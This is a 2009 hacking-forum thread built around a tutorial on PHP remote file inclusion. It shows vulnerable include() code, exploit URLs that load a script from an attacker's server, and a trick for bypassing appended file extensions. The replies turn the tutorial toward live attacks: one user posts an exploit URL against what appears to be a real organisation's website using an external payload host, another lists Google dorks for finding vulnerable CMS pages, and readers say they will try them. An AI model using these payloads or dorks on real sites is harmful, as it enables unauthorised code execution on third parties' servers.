

Forum:[Hack Forums](#)

Thread: [Basic Remote File Inclusion \(RFI\)](#)

Kurdish™ - August 8, 2009, 10:59 am

Definition

Remote file inclusion, commonly known as RFI is a form of attack where the attacker tries to inject their own php code inside your php app's. If an attacker can successfully achieve this they will be able to execute any code they wish on your webserver.

Example

Lets say we have a website that is coded in php, the website uses something like page=page.html to work out which page should be displayed. The code for this might look like :

PHP Code

```
<?php
$file =$_GET['page']; //The page we wish to display
include($file);
?>
```

What this means is that whatever is passed down to page will get included inside this php page. This means that an attacker can simply do something like this

Code http://www.site.com/index.php?page=http://www.attackersserver.com/my_evil_script.txt?

If we take a look at what is happening on the code side of things once this has been done we can see that the actual code that the web server is executing looks like this

Code <?php

```
$file ="http://www.attackersserver.com/my_evil_script.txt?"; //$_GET['page'];
include($file); //$file is the attackers script
?>
```

As you can see the attacker has just managed to get his code executed on your webserver.

Behind The Scenes

So why can an attacker do this? Well the simple answer is because the include() function (note, this kind of attack isn't only open to the include function, require_once() will also work) allows you to link to remote files, the problem with this is that an attacker can take advantage of that feature, like you just seen. You might be wondering why the script that the attacker includes is a .txt and not a .php. The answer to this is that if the script was a .php and the attackers server had php installed then the script will get executed on the attackers server and not the target. We also add the ? at the end so we can remove anything that might be inside the include() function on the target server, take this script for example

PHP Code

```
<?php
$file =$_GET['page'];
include($file .".php");
?>
```

What the above script does is add .php to anything that is passed into it. So if we passed it http://www.attackersserver.com/my_evil_script.txt then what we are actually going to see in the

include() function is http://www.attackersserver.com/my_evil_script.txt.php this is bad. What this means is that we won't actually get our script executed as it doesn't exist now. So if we pass the ? on the end of the script we are going to treat the .php as if it is a var that is getting passed to the script. So now the include() function looks like http://www.attackersserver.com/my_evil_script.txt?.php and it will still get executed.

Conclusion

There you have it a basic tutorial on what remote file inclusion is and how/why an attacker can use it against your servers. This kind of attack, just like most attacks isn't that hard to stop if you don't trust all data that is coming into you. All you have to really remember is if the data isn't hard coded then you need to check it to make sure it does what it is meant to do. A lot of the attacks that are preformed can be stopped by a few simple checks on the data.

enjoy

Pancake111 - August 8, 2009, 1:46 pm

Nice Thanks ?

.....

Kurdish™ - August 11, 2009, 10:26 am

you are welcome Dude....

??ID4RK-H4x0R1?? - August 16, 2009, 11:23 am

great tut. good workxD

ntenege - August 24, 2009, 2:38 am

this is a good example

<http://www.pvda-enschede.nl/printversie.php?print=http://midnightcr3w.cba.pl/good.txt?>

Kurdish™ - September 1, 2009, 1:51 pm

thanx for replying guys

Cyberman - September 2, 2009, 6:32 am

can you give dork RFI ... ? :D

Idiot #66 - September 2, 2009, 6:34 am

Here you have some RFI dorks:

inurl:/modules/My_eGallery/public/displayCategory.php?basepath=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/include/new-visitor.inc.php?lvc_include_dir=

inurl:/_functions.php?prefix=

inurl:/cpcommerce/_functions.php?prefix=

inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/ashnews.php?pathtoashnews=

inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=

inurl:/pm/lib.inc.php?pm_path=

inurl:/b2-tools/gm-2-b2.php?b2inc=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/includes/include_once.php?include_file=

inurl:/e107/e107_handlers/secure_img_render.php?p=

inurl:/shoutbox/expanded.php?conf=

inurl:/main.php?x=

Cyberman - September 2, 2009, 7:01 am

ok thank ...

i will try it ...

Idiot #66 - September 2, 2009, 7:02 am

(Sep 2, 2009 07:01 AM)Cyberman Wrote: [\[CITE\]](#) ok thank ...

i will try it ...

If u find something please PM me !

satanswrath - September 2, 2009, 10:15 am

this is a very cool tut))

respect!

new2world - September 3, 2009, 1:43 pm

Warning: main(subpages/roms'.php) [function.main]: failed to open stream: No such file or directory in /home/asylum/public_html/index.php on line 512

is this valunerable to RFI ?

Kurdish™ - June 22, 2011, 5:50 pm

No its not valunerable to RFI